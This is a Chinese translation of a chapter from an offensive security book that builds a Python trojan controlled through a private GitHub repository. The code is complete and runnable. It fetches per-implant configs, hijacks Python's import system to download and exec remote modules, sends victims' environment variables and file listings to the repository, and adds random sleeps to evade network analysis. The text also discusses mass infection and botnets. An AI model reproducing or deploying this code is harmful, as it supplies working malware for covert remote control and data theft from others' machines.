假设你入侵了一台机器。现在,您希望它自动执行任务,并向您报告发现的情况。在这一章中,我们将创建一个 Trojan (特洛伊木马)框架,它在远程机器上看起来是无害的,但我们将能够为它分配各种作恶的任务。
创建一个可靠的特洛伊木马框架最具挑战性的一个方面是弄清楚如何控制、更新和接收来自植入程序的数据。至关重要的是,您需要一种相对通用的方式将代码发送到远程特洛伊木马。首先,它的灵活性将允许您在每个系统上执行不同的任务。此外,有时您可能需要您的特洛伊木马选择性地运行针对某些目标操作系统的代码,而不是其他操作系统的代码。
尽管多年来黑客依靠 Internet Relay Chat (IRC 因特网中继聊天协议)甚至推特等技术设计了许多创造性的命令和控制方法,但我们将尝试一种实际上为代码设计的服务。我们将使用 GitHub 作为存储我们植入配置信息的一种方式,以及从受害者系统中泄露数据的一种手段。此外,我们将托管植入程序执行任务所需的任何模块到 GitHub 上。在设置这一切的时候,我们将黑掉 Python 的原生库导入机制,这样当你创建新的木马模块时,你的植入程序可以直接从你的 repo 中自动检索它们和任何依赖的库。
(笔者注: repo 这个词作为缩写有很多可能的意思,笔者结合 GitHub 猜测这里应该是指 repository ,即 GitHub 的仓库)
利用 GitHub 完成这些任务可能是一个聪明的策略:你到 GitHub 的流量将通过Secure Sockets Layer (SSL 安全套接字层)进行加密,我们这些作者看到,很少有企业主动限制 GitHub 本身。我们将使用私人 repo (仓库),这样窥探者就看不到我们在做什么。一旦你把功能编码到木马中,理论上你可以把它转换成二进制文件,并把它放在一台脆弱的机器上,这样它就可以无限期地运行。然后,您可以使用 GitHub 存储仓库告诉它该做什么,并收集它已经发现的东西。
设置 GitHub 帐户
如果你没有 GitHub 账户,去 https://github.com/ 注册一个,并创建一个名为 bhptrojan 的新存储库。接下来,安装 Python GitHub API 库( https://pypi.org/project/github3.py/ ),以便您可以自动化与仓库的交互:
pip install github3.py
现在让我们为我们的仓库创建一个基本结构。在命令行中输入以下内容:
$ mkdir bhptrojan
$ cd bhptrojan
$ git init
$ mkdir modules
$ mkdir config
$ mkdir data
$ touch .gitignore
$ git add .
$ git commit -m "Adds repo structure for trojan."
$ git remote add origin https://github.com/<yourusername>/bhptrojan.git
$ git push origin master
现在,我们已经为存储库创建了初始结构。 config 目录保存每个特洛伊木马的唯一配置文件。因为在部署特洛伊木马时,您希望每个木马执行不同的任务,所以每个特洛伊木马将使用单独的配置文件。 modules 目录包含特洛伊木马应该获取并执行的所有模块化代码。我们将实现一个特殊的导入方式,让我们的木马直接从我们的 GitHub 存储库中导入需要的库。这种远程加载功能还允许您将第三方库隐藏在 GitHub 中,这样您就不必在每次想要添加新功能或依赖项时不断地重新编译您的特洛伊木马。 data 目录是特洛伊木马程序检查所有收集到的数据的地方。
您可以在 GitHub 站点上创建一个私人访问令牌,并在使用 API 对 HTTPS 执行 Git 操作时使用它来代替使用密码。令牌应该为我们的特洛伊木马提供读取和写入权限,因为它需要读取配置和写入输出。按照 GitHub 站点上的说明 ( https://docs.github.com/en/github/authenticating-to-github/ ) 创建令牌并将令牌字符串保存在本地文件中,将文件命名为 mytoken.txt 。 然后,将 mytoken.txt 添加到 .gitignore 文件,这样您就不会失误地将您的凭证发送到存储库。
现在让我们开始创建一些简单的模块和一个示例配置文件。
创建模块
在后面的章节中,您将与您的特洛伊木马做一些令人讨厌的事情,例如记录键盘敲击和屏幕截图。但是首先,让我们创建一些可以轻松测试和部署的简单模块。在 modules 目录中打开一个新文件,将其命名为 dirlister.py ,并输入以下代码:
import os
def run(**args):
print("[*] In dirlister module.")
files = os.listdir(".")
return str(files)
这一小段代码定义了一个 run 函数,该函数可以列出当前目录中的所有文件,并将该文件列表以字符串形式返回。您开发的每个模块都应该设置一个带有可变数量参数的 run 函数。这使您能够以相同的方式加载每个模块,但仍然允许您自定义配置文件,以便根据需要向模块传递不同的参数。
现在让我们在名为 environment.py 的文件中创建另一个模块:
import os
def run(**args):
print("[*] In environment module.")
return os.environ
这个模块只是检索在木马运行的远程机器上设置的所有环境变量。
现在让我们将这段代码发送到我们的 GitHub 仓库,这样我们的特洛伊木马就可以使用它了。在命令行中,从主存储库目录中输入以下代码:
$ git add .
$ git commit -m "Adds new modules"
$ git push origin master
Username: ********
Password: ********
您应该可以看到您的代码被放到了您的 GitHub 仓库;自由地登录您的帐户并仔细检查!这正是您将来继续开发代码的方式。我们将把更复杂模块的集成留给你,作为你的家庭作业。
如果需要评估您创建的任意模块,就请将它们推送到 GitHub ,然后在本地版本特洛伊木马的配置文件中启用它们。这样,在让您的远程特洛伊木马程序获取代码并使用它之前,您就可以在您控制的虚拟机(VM)或主机硬件上先测试它们。
配置特洛伊木马
我们想让我们的特洛伊木马执行某些操作。这意味着我们需要一种方法来告诉它要执行什么操作,以及哪些模块负责执行这些操作。使用配置文件为我们提供了这种级别的控制。如果我们愿意的话,它还能让我们有效地让木马休眠(通过不给它任何任务)。为了让这个系统工作,您部署的每个特洛伊木马都应该有一个唯一的 ID 标识。这样,您将能够根据这些标识对任何检索到的数据进行分类,并控制哪些特洛伊木马执行某些任务。
我们将配置特洛伊木马程序,在 config 目录中查找 TROJANID.json ,它将返回一个简单的 JSON 文档,我们可以将其解析出来,转换为 Python 字典,然后使用它通知我们的特洛伊木马要执行哪些任务。 JSON 格式也使得更改配置选项变得很容易。进入你的 config 目录,创建一个名为 abc.json 的文件并写入以下内容:
[
{
"module" : "dirlister"
},
{
"module" : "environment"
}
]
这就是远程木马应该运行的模块的一个简单列表。稍后,您将看到我们如何读取这个 JSON 文档,然后遍历每个选项来加载这些模块。
当您处理并动脑筋思考这些模块时,您可能会发现包含额外的配置选项很有用,例如执行持续时间、运行模块的次数或要传递给模块的参数。您还可以添加多种方法来泄露数据,正如我们在第9章中向您展示的那样。
进入命令行,在主存储库目录下运行以下命令:
$ git add .
$ git commit -m "Adds simple configuration."
$ git push origin master
Username: ********
Password: ********
现在您已经有了要运行的配置文件和一些简单的模块,让我们开始构建木马主要部分。
构建一个 GitHub 感知木马
木马主要部分将从 GitHub 检索配置选项和要运行的代码。让我们从编写连接和验证 GitHub API 的函数开始,然后与它进行通信。打开一个新文件命名为 git_trojan.py ,并输入以下内容:
import base64
import github3
import importlib
import json
import random
import sys
import threading
import time
from datetime import datetime
这些简单的代码只包含必要的导入,这应该会使我们的总体木马规模在编译时相对较小。我们说 relatively (相对地)是因为大多数使用 pyinstaller 编译的 Python 二进制文件都在7MB左右。(可以在这里查看pyinstaller: https://www.pyinstaller.org/downloads.html )。我们会把这个二进制文件放到脆弱的目标机器上。
如果你要利用这种技术来构建一个完整的 botnet (僵尸网络,一个由许多这样的植入物组成的网络),你会想要自动生成木马、设置它们的ID、创建一个被推送到 GitHub 的配置文件,并将木马编译成可执行文件的能力。不过,我们今天不会建立僵尸网络;我们会利用你的想象力来完成这项工作。
现在让我们将 GitHub 相关的代码放在适当的位置:
[1] def github_connect():
with open('mytoken.txt') as f:
token = f.read()
user = 'tiarno'
sess = github3.login(token=token)
return sess.repository(user, 'bhptrojan')
[2] def get_file_contents(dirname, module_name, repo):
return repo.file_contents(f'{dirname}/{module_name}').content
这两个函数处理与 GitHub 存储库的交互。github_connect 函数读取在 GitHub 上创建的令牌[1]。当您创建令牌时,您将它写到一个名为 mytoken.txt 的文件中。现在我们从该文件中读取令牌,并返回一个到 GitHub 存储库的连接。您可能希望为不同的特洛伊木马创建不同的令牌,以便控制每个特洛伊木马可以在您的存储库中访问的内容。这样,如果受害者发现了你的木马,他们也无法追踪并删除所有你检索到的数据。
get_file_contents 函数获取目录名、模块名和存储库连接,并返回指定模块的内容[2]。该函数负责从远程存储库抓取文件并在本地读取内容。我们将使用它来读取配置选项和模块源代码。
现在,我们将创建一个 Trojan 类来执行基本的木马任务:
class Trojan:
[1] def __init__(self, id):
self.id = id
self.config_file = f'{id}.json'
[2] self.data_path = f'data/{id}/'
[3] self.repo = github_connect()
当我们初始化 Trojan 对象时[1],我们分配给它配置信息和特洛伊木马写入其输出文件的数据路径[2],并且我们建立到存储库的连接[3]。现在,我们将添加与之通信所需的类函数:
[1] def get_config(self):
config_json = get_file_contents(
'config', self.config_file, self.repo
)
config = json.loads(base64.b64decode(config_json))
for task in config:
if task['module'] not in sys.modules:
[2] exec("import %s" % task['module'])
return config
[3] def module_runner(self, module):
result = sys.modules[module].run()
self.store_module_result(result)
[4] def store_module_result(self, data):
message = datetime.now().isoformat()
remote_path = f'data/{self.id}/{message}.data'
bindata = bytes('%r' % data, 'utf-8')
self.repo.create_file(
remote_path, message, base64.b64encode(bindata)
)
[5] def run(self):
while True:
config = self.get_config()
for task in config:
thread = threading.Thread(
target=self.module_runner,
args=(task['module'],))
thread.start()
time.sleep(random.randint(1, 10))
[6] time.sleep(random.randint(30*60, 3*60*60))
get_config 类函数[1]从存储库中检索远程配置文档,以便您的特洛伊木马知道要运行哪些模块。 exec 调用将模块内容引入特洛伊木马对象[2]。module_runner 类函数调用刚刚导入的模块的 run 函数[3]。在下一节中,我们将更详细地讨论如何调用它。store_module_result 函数[4]创建一个名称包含当前日期和时间的文件,然后将其输出保存到该文件中。该木马会使用这三个类函数将从目标机器收集的所有数据推送到 GitHub 。
在 run 函数[5]中,我们开始执行这些任务。第一步是从存储库中获取配置文件。然后我们在它自己的线程中启动模块。在 module_runner 类函数中,我们调用模块的 run 函数来运行它的代码。当它完成运行时,它应该输出一个字符串,然后我们将它传递到我们的存储库。
当它完成一项任务时,特洛伊木马将休眠一段随机长的时间,尝试躲避网络分析[6]。当然,你可以创建一大堆到 google.com 的流量,或者任何数量的其他看似良性的站点的流量,尝试掩盖你的木马程序的真实目的。
现在让我们创建一个导入 hack 来从 GitHub 存储库导入远程文件。
导入Python的黑客攻击功能
如果你已经在本书中学习了这么久,你应该知道我们使用 Python 的 import 功能将外部库复制到我们的程序中,这样我们就可以使用它们的代码。我们希望能够我们的特洛伊木马可以做同样的事情。但是,由于我们控制的是远程机器,我们可能希望在该机器上使用没有安装的软件包,并且没有简单的方法来远程安装软件包。除此之外,我们还希望确保如果我们引入一个依赖项,比如 Scapy ,我们的特洛伊木马程序会让我们引入的所有其他模块都可以使用该模块。
Python 允许我们自定义它导入模块的方式;如果它在本地找不到模块,它将调用我们定义的导入类,这将允许我们从存储库中远程检索库。我们必须将自定义的类添加到 sys.meta_path 列表中。现在,让我们通过添加以下代码来创建这个类:
class GitImporter:
def __init__(self):
self.current_module_code = ""
def find_module(self, name, path=None):
print("[*] Attempting to retrieve %s" % name)
self.repo = github_connect()
new_library = get_file_contents('modules', f'{name}.py', self.repo)
if new_library is not None:
[1] self.current_module_code = base64.b64decode(new_library)
return self
def load_module(self, name):
spec = importlib.util.spec_from_loader(name, loader=None,
origin=self.repo.git_url)
[2] new_module = importlib.util.module_from_spec(spec)
exec(self.current_module_code, new_module.__dict__)
[3] sys.modules[spec.name] = new_module
return new_module
每次解释器尝试加载一个不可用的模块时,它都会使用这个 GitImporter 类。首先, find_module 类函数尝试定位模块。我们将这个调用传递给我们的远程文件加载器。如果我们能在我们的存储库中找到这个文件,我们就对代码进行 base64 解码,并将其存储在我们的类中[1]。( GitHub 会传递给我们 base64 编码后的数据。)通过返回 self ,我们向 Python 解释器表明我们找到了模块,并且它可以调用 load_module 函数来实际地加载它。我们使用原生的 importlib 模块首先创建一个新的空白模块对象[2],然后将我们从 GitHub 检索到的代码塞入其中。最后一步是将新创建的模块插入到 sys.modules 列表中[3],以便将来任何的 import 调用都可以获取它。
现在让我们对特洛伊木马做最后的修缮:
if __name__ == '__main__':
sys.meta_path.append(GitImporter())
trojan = Trojan('abc')
trojan.run()
在 __main__ 块中,我们将 GitImporter 放入 sys.meta_path 列表,创建 Trojan 对象,并调用它的 run 函数。
现在让我们试一下吧!
Kicking the Tires
很好,让我们通过从命令行运行它来测试一下:
WARNING:如果您在文件或环境变量中有敏感信息,请记住,如果没有私有的存储库,这些信息将被上传到 GitHub 分享给全世界浏览。别说我们没警告过你。当然,您可以使用将在第9章中学习的加密技术来保护自己。
$ python git_trojan.py
[*] Attempting to retrieve dirlister
[*] Attempting to retrieve environment
[*] In dirlister module
[*] In environment module.
非常好。它连接到存储库,检索配置文件,引入我们在配置文件中设置的两个模块,并运行它们。
现在,从您的特洛伊木马所在目录,在命令行中输入以下内容:
$ git pull origin master
From https://github.com/tiarno/bhptrojan
6256823..8024199 master -> origin/master
Updating 6256823..8024199
Fast-forward
data/abc/2020-03-29T11:29:19.475325.data | 1 +
data/abc/2020-03-29T11:29:24.479408.data | 1 +
data/abc/2020-03-29T11:40:27.694291.data | 1 +
data/abc/2020-03-29T11:40:33.696249.data | 1 +
4 files changed, 4 insertions(+)
create mode 100644 data/abc/2020-03-29T11:29:19.475325.data
create mode 100644 data/abc/2020-03-29T11:29:24.479408.data
create mode 100644 data/abc/2020-03-29T11:40:27.694291.data
create mode 100644 data/abc/2020-03-29T11:40:33.696249.data
太棒了。木马检查了两个运行模块的结果。
您可以对这种核心的命令和控制技术进行许多改进和增强。比如加密所有模块、配置和已过滤的数据会是一个良好的开始。如果要大规模感染系统,您还需要自动执行删除数据、更新配置文件和推出新木马的处理功能。随着您添加越来越多的功能,您还需要扩展 Python 加载动态和编译库的方式。
现在,让我们创建一些独立的特洛伊木马任务,我们将把它们集成到您的新 GitHub 特洛伊木马中。